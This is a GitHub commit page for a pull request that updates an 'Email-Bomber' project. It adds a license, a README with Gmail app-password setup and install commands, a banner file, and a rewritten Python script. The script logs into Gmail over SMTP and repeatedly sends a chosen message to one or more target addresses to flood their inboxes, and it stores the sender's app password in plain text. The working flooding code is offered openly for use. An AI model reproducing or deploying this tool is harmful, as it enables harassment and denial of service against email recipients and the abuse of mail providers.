Skip to content

Commit 2724512

Browse files
authored
Merge pull request #6 from cxdzc/main
Completed this issue.
2 parents 94f25fc + 6cad22e commit 2724512

File tree

4 files changed

+141
-69
lines changed

4 files changed

+141
-69
lines changed

LICENSE.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2022-Present Atul Kushwaha
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

Lines changed: 63 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,33 @@
1-
# Email-Bomber v1.1 📧
2-
- An open Source free to use email-bomber using smtp
3-
- Script Have been updated to google's latest requirements as less secure feature have been disable by Google
4-
- Now we use something known as app password
5-
6-
![emailbomber ss](https://user-images.githubusercontent.com/72141859/189279590-4dec4bc0-ed2e-4f79-8968-988b585fe279.png)
1+
# 📧 Email-Bomber v2.0.0
2+
![Email Bomber Screenshot v2.0.0](https://i.imgur.com/zSeyXbw.png)
3+
- An open Source free to use email-bomber using python's built-in library SMTP.
74

8-
# Modules Required 📗
9-
- <a href="https://docs.python.org/3/library/smtplib.html"> SMTP</a> is a library used for sending mails in python which stands for simple mail transfer protocol
5+
## ⚠️ Prerequisite
6+
![Enabling 2-Step Verification Screenshot](https://i.imgur.com/1tUNrsu.png)
107

11-
# Prerequisite ⚙️
12-
## Create & use App Passwords
8+
### Enabling 2-Step Verification
9+
- Go to your [Google Account](https://myaccount.google.com/) which you would like to send email-bombs from.
10+
- Select [Security](https://myaccount.google.com/security).
11+
- Enable [2-Step Verification](https://myaccount.google.com/signinoptions/two-step-verification).
1312

14-
- Go to your Google Account (from which you would send mail).
15-
- Select Security.
13+
### Create App Password
14+
![Create App Password Screenshot](https://i.imgur.com/KdU5Erp.png)
15+
- Go to [App Passwords](https://myaccount.google.com/apppasswords).
16+
- Select app as Mail.
17+
- Select device as your device e.g. Windows Computer etc.
18+
- If you do not have this option available:
19+
- You turned on Advanced Protection.
20+
- 2-Step Verification is not set up for your account.
21+
- 2-Step Verification is only set up for security keys.
22+
- Your account is under the control by work, school, or an organization.
1623

17-
- Enable 2FA for your Account.
24+
### Use App Password
25+
![App Password](https://i.imgur.com/krkn5EX.png)
26+
- Copy App Password.
27+
- Use App Password in Email-Bomber script.
1828

19-
- Under "Signing in to Google," select App Passwords. You may need to sign in. If you don’t have this option, it might be because :
20-
- 2-Step Verification is not set up for your account.
21-
- 2-Step Verification is only set up for security keys.
22-
- Your account is through work, school, or other organization.
23-
- You turned on Advanced Protection.
24-
25-
- At the bottom, choose Select app (gmail here) and choose the app you using (gmail here) and then select
26-
device (windows computer here) and choose the device you’re using(windows computer here) and then Generate.
27-
28-
![app pass](https://user-images.githubusercontent.com/72141859/189069975-1898d162-e3a9-4cab-b1a0-c95963e65268.png)
29-
- copy the App password and while entering sender's password in the script use this password instead of your gmail accounts password
30-
31-
![app paaas](https://user-images.githubusercontent.com/72141859/189070691-8a5734a7-9272-493a-b9b1-4997d90d8deb.png)
32-
33-
34-
# For Termux
29+
## 📑 Installation Guide
30+
### Termux
3531
```
3632
pkg install git
3733
```
@@ -50,8 +46,7 @@ cd emailbomber
5046
```
5147
python emailbomber.py
5248
```
53-
54-
# For linux distributions
49+
### Linux Distributions
5550
```
5651
sudo apt install git
5752
```
@@ -70,3 +65,40 @@ cd emailbomber
7065
```
7166
python emailbomber.py
7267
```
68+
69+
# 🧾 Requirements.txt
70+
- [SMTP](https://docs.python.org/3/library/smtplib.html), which stands for Simple Mail Transfer Protocol, is a built-in Python module used to send e-mails in Python.
71+
72+
73+
- [OS](https://docs.python.org/3/library/os.html), which stands for Operating System, is a built-in Python module which provides a portable way of using operating system dependent functionality.
74+
75+
## 📇 License
76+
```
77+
MIT License
78+
79+
Copyright (c) 2022-Present, Atul Kushwaha.
80+
81+
Permission is hereby granted, free of charge, to any person obtaining a copy
82+
of this software and associated documentation files (the "Software"), to deal
83+
in the Software without restriction, including without limitation the rights
84+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
85+
copies of the Software, and to permit persons to whom the Software is
86+
furnished to do so, subject to the following conditions:
87+
88+
The above copyright notice and this permission notice shall be included in all
89+
copies or substantial portions of the Software.
90+
91+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
92+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
93+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
94+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
95+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
96+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
97+
SOFTWARE.
98+
```
99+
100+
## 🤵 Authors
101+
- [@coderatul](https://github.com/coderatul)
102+
103+
## ❔ Questions/Feedback
104+
If you have any questions or feedback, please reach out in [issues](https://github.com/coderatul/emailbomber/issues).

Welcome/welcome.txt

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗
2+
██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗
3+
█████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝
4+
██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
5+
███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
6+
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
7+
8+
v2.0.0
9+
Author: linktr.ee/coderatul
10+
Reading the prerequisite section is required to run this script successfully.
11+
Prerequisite section: https://github.com/coderatul/emailbomber#prerequisite-%EF%B8%8F

emailbomber.py

Lines changed: 46 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,46 @@
1-
print(
2-
"""
3-
███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗
4-
██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗
5-
█████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝
6-
██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
7-
███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
8-
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
9-
version 1.1 : uses app passowrd now, before it used less secure apps
10-
Author : linktr.ee/coderatul
11-
Before using please read "prerequisite section"
12-
"""
13-
)
14-
sender = input("Enetr Sender's Gmail Id -> ")
15-
app_password = input("Enter App password -> ")
16-
receiver = input("Enter Receiver's Gmail Id -> ")
17-
message = input("Enter Your Message -> ")
18-
count = int(input("Enter number of mail's to be sent -> "))
19-
import smtplib
20-
server = smtplib.SMTP("smtp.gmail.com",587)
21-
server.starttls()
22-
try:
23-
server.login(user= sender,password= app_password)
24-
except:
25-
print("")
26-
print("""check for the following:
27-
1. Read prerequisite section
28-
2. Check app password
29-
3. try again and enter details carefully
30-
""")
31-
else:
32-
for i in range(count):
33-
server.sendmail(from_addr= sender,to_addrs= receiver,msg= message)
34-
if count < 2:
35-
print(count,"mail have been sent to :",receiver)
36-
else:
37-
print(count,"mails have been sent to :",receiver)
38-
server.close()
1+
#Built-in library's.
2+
import smtplib
3+
from os import path, mkdir
4+
5+
print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") #Welcomes user.
6+
7+
#User inputs
8+
if not path.exists("User_Credentials"): #If User_Credentials does not exist, asks for user credentials.
9+
sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") #The gmail address that emails will be sent from e.g. example@gmail.com.
10+
app_password = input("Enter the app's password (xxxx xxxx xxxx xxxx)-> ") #The app's password that was created from the Gmail address e.g. alig maou tajh jagq.
11+
else: #Otherwise, reads saved user credentials.
12+
sender = open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
13+
app_password = open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
14+
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
15+
receiver = input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
16+
message = input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17+
count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
18+
19+
#Server
20+
server = smtplib.SMTP("smtp.gmail.com",587) #Initializes SMTP server.
21+
server.starttls() #Start SMTP server.
22+
23+
try: #Attempts to log in to user's gmail account.
24+
server.login(user= sender, password= app_password) #Logins to user's account.
25+
except smtplib.SMTPAuthenticationError as error: #Incorrect credentials inputted by user.
26+
print("\nError:\nMake sure the Gmail address that you inputted is the same as the gmail account you have created an app password for.\nDouble check your Gmail and app password.")
27+
print(f"{error}")
28+
input("Enter to exit...")
29+
quit() #Quits program.
30+
31+
if not path.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
32+
#If there are no errors in credentials, save user information after SMTP verification.
33+
mkdir("User_Credentials") #Creats User_Credentials folder.
34+
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
35+
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
36+
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
37+
38+
print("\nEmail-bomber has started...\n")
39+
40+
for i in range(count): #Amount of messages to be sent.
41+
for email_receiver in receiver.split(","): #Loops through emails to send emails to.
42+
server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
43+
print(f"Email-bombing {email_receiver}...")
44+
45+
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
46+
server.close() #Closes server.

0 commit comments

Comments
 (0)